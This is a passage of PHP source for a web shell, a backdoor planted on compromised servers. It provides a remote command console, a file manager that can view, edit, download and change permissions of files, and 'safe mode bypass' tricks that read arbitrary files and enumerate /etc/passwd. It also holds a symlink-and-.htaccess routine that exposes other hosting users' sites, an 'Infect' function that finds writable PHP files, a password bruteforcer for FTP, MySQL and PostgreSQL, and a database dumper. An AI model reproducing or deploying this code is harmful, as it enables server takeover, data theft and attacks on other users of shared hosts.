			.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
		$l = $l?0:1;
	}
	?>
	<tr><td colspan=7>
	<input type=hidden name=a value=\'FilesMan\'>
	<input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>
	<input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>
	<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option><?php if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){?><option value=\'paste\'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
	</form></table></div>
	<?php
	printFooter();
}

function actionStringTools() {
	if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
	if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
	if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
	
	if(isset($_POST[\'ajax\'])) {
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
		ob_start();
		if(function_exists($_POST[\'p1\']))
			echo $_POST[\'p1\']($_POST[\'p2\']);
		$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
	printHeader();
	echo \'<h1>String conversions</h1><div class=content>\';
	$stringTools = array(
		\'Base64 encode\' => \'base64_encode\',
		\'Base64 decode\' => \'base64_decode\',
		\'Url encode\' => \'urlencode\',
		\'Url decode\' => \'urldecode\',
		\'Full urlencode\' => \'full_urlencode\',
		\'md5 hash\' => \'md5\',
		\'sha1 hash\' => \'sha1\',
		\'crypt\' => \'crypt\',
		\'CRC32\' => \'crc32\',
		\'ASCII to HEX\' => \'ascii2hex\',
		\'HEX to ASCII\' => \'hex2ascii\',
		\'HEX to DEC\' => \'hexdec\',
		\'HEX to BIN\' => \'hex2bin\',
		\'DEC to HEX\' => \'dechex\',
		\'DEC to BIN\' => \'decbin\',
		\'BIN to HEX\' => \'bin2hex\',
		\'BIN to DEC\' => \'bindec\',		
		\'String to lower case\' => \'strtolower\',
		\'String to upper case\' => \'strtoupper\',
		\'Htmlspecialchars\' => \'htmlspecialchars\',
		\'String length\' => \'strlen\',
	);
	if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
	echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
	foreach($stringTools as $k => $v)
		echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
		echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".htmlspecialchars(@$_POST[\'p2\'])."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
	if(!empty($_POST[\'p1\'])) {
		if(function_exists($_POST[\'p1\']))
		echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
	}
	echo"</pre></div>";
	?>
	<br><h1>Search for hash:</h1><div class=content>
		<form method=\'post\' target=\'_blank\' name="hf">
			<input type="text" name="hash" style="width:200px;"><br>
			<input type="button" value="hashcrack.com" onclick="document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()"><br>
			<input type="button" value="fakenamegenerator.com" onclick="document.hf.action=\'http://www.fakenamegenerator.com/\';document.hf.submit()"><br>
			<input type="button" value="tools4noobs.com" onclick="document.hf.action=\'http://www.tools4noobs.com/online_php_functions/\';document.hf.submit()"><br>
			<input type="button" value="md5.rednoize.com" onclick="document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()"><br>
			<input type="button" value="md5decrypter.com" onclick="document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()"><br>
		</form>
	</div>
	<?php
	printFooter();
}

function actionFilesTools() {
	if( isset($_POST[\'p1\']) )
		$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
	if(@$_POST[\'p2\']==\'download\') {
		if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST[\'p1\']);
				header("Content-Type: ".$type);
			}
			$fp = @fopen($_POST[\'p1\'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		} elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {

		}
		exit;
	}
	if( @$_POST[\'p2\'] == \'mkfile\' ) {
		if(!file_exists($_POST[\'p1\'])) {
			$fp = @fopen($_POST[\'p1\'], \'w\');
			if($fp) {
				$_POST[\'p2\'] = "edit";
				fclose($fp);
			}
		}
	}
	printHeader();
	echo \'<h1>File tools</h1><div class=content>\';
	if( !file_exists(@$_POST[\'p1\']) ) {
		echo \'File not exists\';
		printFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
	$gid = @posix_getgrgid(@fileowner($_POST[\'p1\']));
	echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
	echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
	if( empty($_POST[\'p2\']) )
		$_POST[\'p2\'] = \'view\';
	if( is_file($_POST[\'p1\']) )
		$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
	else
		$m = array(\'Chmod\', \'Rename\', \'Touch\');
	foreach($m as $v)
		echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
	echo \'<br><br>\';
	switch($_POST[\'p2\']) {
		case \'view\':
			echo \'<pre class=ml1>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</pre>\';
			break;
		case \'highlight\':
			if( is_readable($_POST[\'p1\']) ) {
				echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
				$code = highlight_file($_POST[\'p1\'],true);
				echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
			}
			break;
		case \'chmod\':
			if( !empty($_POST[\'p3\']) ) {
				$perms = 0;
				for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
					$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
				if(!@chmod($_POST[\'p1\'], $perms))
					echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
				else
					die(\'<script>g(null,null,null,null,"")</script>\');
			}
			echo \'<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
			break;
		case \'edit\':
			if( !is_writable($_POST[\'p1\'])) {
				echo \'File isn\'t writeable\';
				break;
			}
			if( !empty($_POST[\'p3\']) ) {
				@file_put_contents($_POST[\'p1\'],$_POST[\'p3\']);
				echo \'Saved!<br><script>document.mf.p3.value="";</script>\';
			}
			echo \'<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</textarea><input type=submit value=">>"></form>\';
			break;
		case \'hexdump\':
			$c = @file_get_contents($_POST[\'p1\']);
			$n = 0;
			$h = array(\'00000000<br>\',\'\',\'\');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= \' \'; break;
					case 9:  $h[2] .= \' \'; break;
					case 10: $h[2] .= \' \'; break;
					case 13: $h[2] .= \' \'; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
					$h[1] .= \'<br>\';
					$h[2] .= "
";
				}
		 	}
			echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
			break;
		case \'rename\':
			if( !empty($_POST[\'p3\']) ) {
				if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
					echo \'Can\'t rename!<br><script>document.mf.p3.value="";</script>\';
				else
					die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
			}
			echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
			break;
		case \'touch\':
			if( !empty($_POST[\'p3\']) ) {
				$time = strtotime($_POST[\'p3\']);
				if($time) {
					if(@touch($_POST[\'p1\'],$time,$time))
						die(\'<script>g(null,null,null,null,"")</script>\');
					else {
						echo \'Fail!<script>document.mf.p3.value="";</script>\';
					}
				} else echo \'Bad time format!<script>document.mf.p3.value="";</script>\';
			}
			echo \'<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
			break;
		case \'mkfile\':
			
			break;
	}
	echo \'</div>\';
	printFooter();
}

function actionSafeMode() {
	$temp=\'\';
	ob_start();
	switch($_POST[\'p1\']) {
		case 1:
			$temp=@tempnam($test, \'cx\');
			if(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo \'Sorry... Can\'t open file\';
			break;
		case 2:
			$files = glob($_POST[\'p2\'].\'*\');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."
";
			break;
		case 3:
			$ch = curl_init("file://".$_POST[\'p2\']."".SELF_PATH);
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST[\'p2\']);
			break;
		case 5:
			for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {
				$uid = @posix_getpwuid($_POST[\'p2\']);
				if ($uid)
					echo join(\':\',$uid)."
";
			}
			break;
		case 6:
			if(!function_exists(\'imap_open\'))break;
			$stream = imap_open($_POST[\'p2\'], "", "");
			if ($stream == FALSE)
				break;
			echo imap_body($stream, 1);
			imap_close($stream);
			break;
	}
	$temp = ob_get_clean();
	printHeader();
	echo \'<h1>Safe mode bypass</h1><div class=content>\';
	echo \'<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>\';
	if($temp)
		echo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';
	echo \'</div>\';
	printFooter();
}

function actionConsole() {
	if(isset($_POST[\'ajax\'])) {
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
		ob_start();
		echo "document.cf.cmd.value=\'\';
";
		$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']),"

	\\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS[\'cwd\'] = @getcwd();
				echo "document.mf.c.value=\'".$GLOBALS[\'cwd\']."\';";
			}
		}
		echo "document.cf.output.value+=\'".$temp."\';";
		echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
	printHeader();
?>
<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push("");
	cur = cmds.length-1;
}
</script>
<?php
	echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>\';
	foreach($GLOBALS[\'aliases\'] as $n => $v) {
		if($v == \'\') {
			echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
			continue;
		}
		echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
	}
	if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
	echo \'</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';
	if(!empty($_POST[\'p1\'])) {
		echo htmlspecialchars("$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']));
	}
	echo \'</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">\';
	echo \'</form></div><script>document.cf.cmd.focus();</script>\';
	printFooter();
}

function actionLogout() {
	unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
	echo \'bye!\';
}

function actionSelfRemove() {
	printHeader();
	if($_POST[\'p1\'] == \'yes\') {
		if(@unlink(SELF_PATH))
			die(\'Shell has been removed\');
		else
			echo \'unlink error!\';
	}
	echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
	printFooter();
}

function actionTools() {
	printHeader();
	
		printFooter();
}

function actionDomains() {
	printHeader();
	error_reporting(0);
echo "<title>#Domains & Users</title>";
mkdir("sym");
symlink("/","0/x.txt");
$c  = "Options Indexes FollowSymLinks 
 DirectoryIndex ssssss.htm 
 AddType txt .php 
 AddHandler txt .php 
  AddType txt .html 
 AddHandler txt .html 
 Options all 
 Options 
 Allow from all 
 Require None 
 Satisfy Any";
$f = fopen (\'sym/.htaccess\',\'w\');
 fwrite($f , $c);
 
$d0mains = @file("/etc/named.conf");

if(!$d0mains){ die("<b>#Error... -> [ /etc/named.conf ]"); }

echo "<table align=center border=1>
<tr bgcolor=teal><td>Domain</td><td>User List </td><td>Symlink</td></tr>";

foreach($d0mains as $d0main){

if(eregi("zone",$d0main)){

preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();

if(strlen(trim($domains[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));

echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user[\'name\']."</td><td><a href=\'sym/x.txt/home/".$user[\'name\']."/public_html\'>Miremos</a></td></tr>"; flush();

}}}

echo "</table> 
<p align=\'center\'> 
FailRoot\'Cod3rz <a href=\'http://failroot.wordpress.com/\'>FailRoot-Sec.Com</a> | <a  

href=\'http://wWw.sEc4EvEr.CoM/\'>wWw.sEc4EvEr.CoM</a><br> 
</p> 
"; 
	printFooter();
}

function actionInfect() {
	printHeader();
	echo \'<h1>Infect</h1><div class=content>\';
	if($_POST[\'p1\'] == \'infect\') {
		$target=$_SERVER[\'DOCUMENT_ROOT\'];
			function ListFiles($dir) {
				if($dh = opendir($dir)) {
					$files = Array();
					$inner_files = Array();
					while($file = readdir($dh)) {
						if($file != "." && $file != "..") {
							if(is_dir($dir . "/" . $file)) {
								$inner_files = ListFiles($dir . "/" . $file);
								if(is_array($inner_files)) $files = array_merge($files, $inner_files); 
							} else {
								array_push($files, $dir . "/" . $file);
							}
						}
					}
					closedir($dh);
					return $files;
				}
			}
			foreach (ListFiles($target) as $key=>$file){
				$nFile = substr($file, -4, 4);
				if($nFile == ".php" ){
					if(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){
						echo "$file<br>";
						$i++;
					}
				}
			}
			echo "<font color=red size=14>$i</font>";
		}else{
			echo "<form method=post><input type=submit value=Infect name=infet></form>";
			echo \'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>\';
		}
	printFooter();
}

function actionBruteforce() {
	printHeader();
	if( isset($_POST[\'proto\']) ) {
		echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';
		if( $_POST[\'proto\'] == \'ftp\' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST[\'proto\'] == \'mysql\' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST[\'proto\'] == \'pgsql\' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=\'\'";
				$res = @pg_connect($server[0].\':\'.$server[1]?$server[1]:5432, $login, $pass);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST[\'server\']);
		if($_POST[\'type\'] == 1) {
			$temp = @file(\'/etc/passwd\');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
					}
					if(@$_POST[\'reverse\']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST[\'type\'] == 2) {
			$temp = @file($_POST[\'dict\']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {
						$success++;
						echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'
		.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'
		.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'
		.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'
		.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'
		.\'<span>Server:port</span></td>\'
		.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'
		.\'<tr><td><span>Brute type</span></td>\'
		.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'
		.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'
		.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'
		.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'
		.\'<td><input type=text name=login value="root"></td></tr>\'
		.\'<tr><td><span>Dictionary</span></td>\'
		.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'
		.\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';
	echo \'</div><br>\';
	printFooter();
}

function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case \'mysql\':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case \'pgsql\':
					$host = explode(\':\', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case \'mysql\':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case \'mysql\':
					return $this->res = @mysql_query($str);
					break;
				case \'pgsql\':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case \'mysql\':
					return @mysql_fetch_assoc($res);
					break;
				case \'pgsql\':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case \'mysql\':
					return $this->res = @mysql_list_dbs($this->link);
				break;
				case \'pgsql\':
					return $this->res = $this->query("SELECT datname FROM pg_database");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case \'mysql\':
					return $this->res = $this->query(\'SHOW TABLES\');
				break;
				case \'pgsql\':
					return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != \'information_schema\' AND table_schema != \'pg_catalog\') or table_name = \'pg_user\'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case \'mysql\':
					return @mysql_error($this->link);
				break;
				case \'pgsql\':
					return @pg_last_error($this->link);
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case \'mysql\':
					if(function_exists(\'mysql_set_charset\'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query(\'SET CHARSET \'.$str);
					break;
				case \'mysql\':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function dump($table) {
			switch($this->type)	{
				case \'mysql\':
					$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
					$create = mysql_fetch_array($res);
					echo $create[1].";

";
					$this->query(\'SELECT * FROM `\'.$table.\'`\');
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "\'".@mysql_real_escape_string($v)."\'";
							$columns[] = "`".$k."`";
						}
					echo \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
					}
				break;
				case \'pgsql\':
					$this->query(\'SELECT * FROM \'.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "\'".addslashes($v)."\'";
							$columns[] = $k;
						}
					echo \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST[\'type\']);
	if(@$_POST[\'p2\']==\'download\') {
		ob_start("ob_gzhandler", 4096);
		$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
		$db->selectdb($_POST[\'sql_base\']);
		header("Content-Disposition: attachment; filename=dump.sql");
		header("Content-Type: text/plain");
		foreach($_POST[\'tbl\'] as $v)
				$db->dump($v);
		exit;
	}
	printHeader();
	?>
	<h1>Sql browser</h1><div class=content>
	<form name="sf" method="post">
		<table cellpadding="2" cellspacing="0">
			<tr>
				<td>Type</td>
				<td>Host</td>
				<td>Login</td>
				<td>Password</td>
				<td>Database</td>
				<td></td>
			</tr>
			<tr>
				<input type=hidden name=a value=Sql>
				<input type=hidden name=p1 value=\'query\'>
				<input type=hidden name=p2>
				<input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\']);?>\'>
				<input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>
				<td>
					<select name=\'type\'>
						<option value="mysql" <?php if(@$_POST[\'type\']==\'mysql\')echo \'selected\';?>>MySql</option>
						<option value="pgsql" <?php if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';?>>PostgreSql</option>
					</select></td>
				<td><input type=text name=sql_host value=\'<?=(empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\']));?>\'></td>
				<td><input type=text name=sql_login value=\'<?=(empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\']));?>\'></td>
				<td><input type=text name=sql_pass value=\'<?=(empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\']));?>\'></td>
				<td>
	<?php
	$tmp = "<input type=text name=sql_base value=\'\'>";
	if(isset($_POST[\'sql_host\'])){
		if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
			switch($_POST[\'charset\']) {
				case "Windows-1251": $db->setCharset(\'cp1251\'); break;
				case "UTF-8": $db->setCharset(\'utf8\'); break;
				case "KOI8-R": $db->setCharset(\'koi8r\'); break;
				case "KOI8-U": $db->setCharset(\'koi8u\'); break;
				case "cp866": $db->setCharset(\'cp866\'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=\'\'></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
			}
			echo \'</select>\';
		}
		else echo $tmp;
	}else
		echo $tmp;
	?></td>
				<td><input type=submit value=">>"></td>
			</tr>
		</table>
		<script>
			function st(t,l) {
				document.sf.p1.value = \'select\';
				document.sf.p2.value = t;
				if(l!=null)document.sf.p3.value = l;
				document.sf.submit();
			}
			function is() {
				for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
					document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
			}
		</script>
	<?php
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
